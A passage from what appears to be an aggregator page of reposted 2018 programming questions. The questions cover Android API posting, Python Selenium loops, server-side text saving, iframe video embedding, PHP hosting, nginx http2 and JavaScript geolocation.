at javax.xml.ws.Endpoint.publish(Endpoint.java:240)
at ServiceMain.main(ServiceMain.java:22)

So where does this code snippet get wrong, and how to fix it? Thanks a lot.




mercredi 26 décembre 2018

How to post data when web api when it having header: key and token

I having URL http://demo.masti.com/mast1245/api/ with Headers:key=ABZXY1245 with token abct

and server url like

http://demo.masti.com/mast1245/api/masti/reg with method POST.

jsonData = {"f_name":"abc","l_name":"xyz", "email":"abc@gmail.com"}

How can I post data to server in android




for loop Execution

I have two for loop. The outer loop reads from a text file and enters another for loop, which reads from a different text file when there is an exception. The inner loop should exit the loop and then iterate to the next element in the outer loop but again, once iterated it should continue from where it stopped in the inner loop.

Any idea as to how to do it in python?

following is the code:

with open('E:\marr.txt') as f:
    content = f.readlines()
content = [x.strip() for x in content]
with open('E:\prlist.txt') as f:
    content1 = f.readlines()
content1 = [x.strip() for x in content1]
with open('E:\Master\master1.csv', 'a') as f:
    headers = ("Source Link,Company Link,company name")
    f.write(headers)
    f.write("\n")
    for ip in content1:
        chrome_options.add_argument('--proxy-server=%s' % ip)
        try:
            for link in content:

                    try:
                        browser.get(link)
                        browser.implicitly_wait(4)
                        abba = browser.find_element_by_css_selector('.WebToolsetToolWebPart_Cntnr.WebToolsetToolWebPart_Aligned_LEFT.WebToolsetToolWebPart_TxtTool_Cntnr')
                        aas = abba.text
                        aa = aas.replace(",","")
                        print(ip + "," + link + "," + aa)
                        f.write(link + "," +aa+"\n")

                    except NoSuchElementException:
                        aa = "no count available"
                        print(ip + ","+link + "," + aa)
                        f.write(link + "," + aa + "\n")
        except StaleElementReferenceException:
            pass




Saving web data

So a hopefully simple question for you guys. I want to make a website capable of saving typed in text. Strictly speaking the page has several text boxes where i can type in text press a save button(or autosave) and when i visit the site again a day/week/year later the text is still there. ive heard you can do this with PHP but i am a bit at a loss of how its done.

i´m aware of localStorage but i wish to save the data server side

If someone knows how to do this and is willing to type up an example i would really appreciate it.

PS i have my own domain and i will be the only one using the site.




What is required system or functions for most of the websites?

I’m doing a research about the the most required systems or functions for most of the websites (e-commerce, blog, personal, portfolio, etc.) . Such as, Login & Registration System, Dashboard, CMS, Shopping Cart (e-commerce), Search System, etc.

Because I want to work on a base of systems for all types of websites, so if I want to develop any kind of website it becomes easier for me.

Please list any basic systems/functions could help.




iframe keeps on opening link on another tab when trying to play video

I have a iframe in my web page of a video from another site but when i click play or anywhere in the iframe space it opens a link to the site with the video of it.

I'm trying to make a site for playing series and i want to use iframe to show the video from another site rather than downloading it.

I've tried everything but i viewed the other sites source code and it seems it has some java code i suppose that's causing the issue preventing the iframe from working.

http://entervideo.net/watch/94c96f7dc0bd33c

that's the link, could you kindly inspect the source code first.

(Down below is the java script code from the link and I think it's causing the problem)

function inIframe () { try { return window.self !== window.top; } catch (e) { return true; } } console.log(document.referrer); console.log(inIframe()); //if(!document.referrer&&inIframe()) document.write('Please remove sandbox tags on the iframe.'); if(document.referrer||!inIframe()){ var element = document.getElementById("ptc"); element.parentNode.removeChild(element); console.log('deleting'); }

i want it to play the video on my web page when i click on the play button on the control rather than it opening the link to the other site.




How can I run this PHP website and host it on HostGator?

My friend, who just started a company, sent me this website (https://github.com/lexaugustin/bamboufacile) that someone built for him out of a PHP template, so I can host it for him on "hostgator.com". When I run the public folder with XAMPP, I only see the template website, and when I try to run the server.php that is in the root directory, I get these two errors:

1) "Warning: require(/opt/lampp/htdocs/public/../vendor/autoload.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/public/index.php on line 24

2) Fatal error: require(): Failed opening required '/opt/lampp/htdocs/public/../vendor/autoload.php' (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/public/index.php on line 24.

Can someone help me run this file and tell me how to host PHP website on hostgator, please? The tutorials on hostgator haven't worked for me.




Height for remaining free space HTML

Having three containers, how can I make two containers floating while the third container should occupy the rest of the height, and the second one has the height of the contents?enter image description here




How to download images from EEFLUX appspot?

I didn't find a good method to download automatically images from this website: https://eeflux-level1.appspot.com/ Actually it's possible to download images one by one but I would like to download for example all the images for a certain range of dates with a precise localisation. Do you think it's possible? I checked with Rcurl,httr but is there a specific library to use ?

Best regards,

Maxime




Enable http2 in nginx only for some clients

I have two set of users using okhttp/2.7.0 and okhttp/3.12.0. I want to enable http2 in nginx only for those users who are using okhttp/3.12.0. The client ensures to send their identifier. Is there a way to use this information and enable http2 only for those users.

Note: Multiple ports is not an option for me.

My nginx and OS version

nginx version: nginx/1.14.2                                                                                                                                                                                                                  
built by gcc 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.4)                                                                                                                                                                                           
built with OpenSSL 1.0.2h  3 May 2016                                                                                                                                                                                                        
TLS SNI support enabled  

My nginx conf goes like this

server {
    listen 443 ssl http2;
    ...




Personalized web push notifications

I want to send web push notifications to registered users, are there any best practices on how to implement the cases when multiple users have access to the same device and one should not see the message of another user.

Thanks in advance.




this android studio is giving these failed errors

i have a website project which one of it factors will b based on location of people and some places. my project is established by Eclipse, but i couldn't put any GPS in the project. actually i have done some research but all of them were useless. so, what should i do now? where should i add this code for example?

function geoFindMe() {
var latitude  = position.coords.latitude;
var longitude = position.coords.longitude;

output.innerHTML = '<p>Latitude is ' + latitude + '° <br>Longitude is ' + longitude + '°</p>';

var img = new Image();
img.src = "https://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&zoom=13&size=300x300&sensor=false";

output.appendChild(img);

}

this is one of the codes which i found online and its related to JavaScrpit. any help would be highly appreciating!